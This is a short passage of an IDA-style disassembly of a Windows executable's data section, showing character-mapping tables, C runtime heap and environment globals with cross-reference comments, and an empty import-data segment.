dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh, 0
; void *dword_40BB64
dword_40BB64 dd 0 ; ___sbh_free_block+21Cr ...
dword_40BB68 dd 0 ; .text:004041D5r ...
dword_40BB6C dd 0 ; .text:loc_4041DFr ...
dword_40BB70 dd 0 ; __get_sbh_threshold+Er ...
dword_40BB74 dd 0 ; ___sbh_free_block+300w ...
dword_40BB78 dd 0 ; ___sbh_alloc_new_region+5r ...
dword_40BB7C dd 0 ; ___sbh_free_block+249r ...
dword_40BB80 dd 320000h ; __heap_init+19w ...
dword_40BB84 dd 1 ; __heap_alloc:loc_4020ECr ...
dword_40BB88 dd 3225B0h ; ___initstdio+2Bw ...
dd 5 dup(0)
dword_40BBA0 dd 400h dup(0) ; .data:0040B078o
; size_t dword_40CBA0
dword_40CBA0 dd 200h dword_40CBA4 dd 20h dd 6 dup(0)
dword_40CBC0 dd 320650h dword_40CBC4 dd 3Fh dup(0) dword_40CCC0 dd 1 ; __setenvp+9Fw ...
dword_40CCC4 dd 322DB4h ; _doexit:loc_40287Fr ...
; void *dword_40CCC8
dword_40CCC8 dd 322DB8h dword_40CCCC dd 1 ; __setenvp+3r ...
dword_40CCD0 dd 0 dword_40CCD4 dd 142340h ; __wincmdln:loc_403C49r ...
_data ends
; Section 4. (virtual address 0000D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0000CE00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 40D000h
align 2000h
_idata2 ends
end start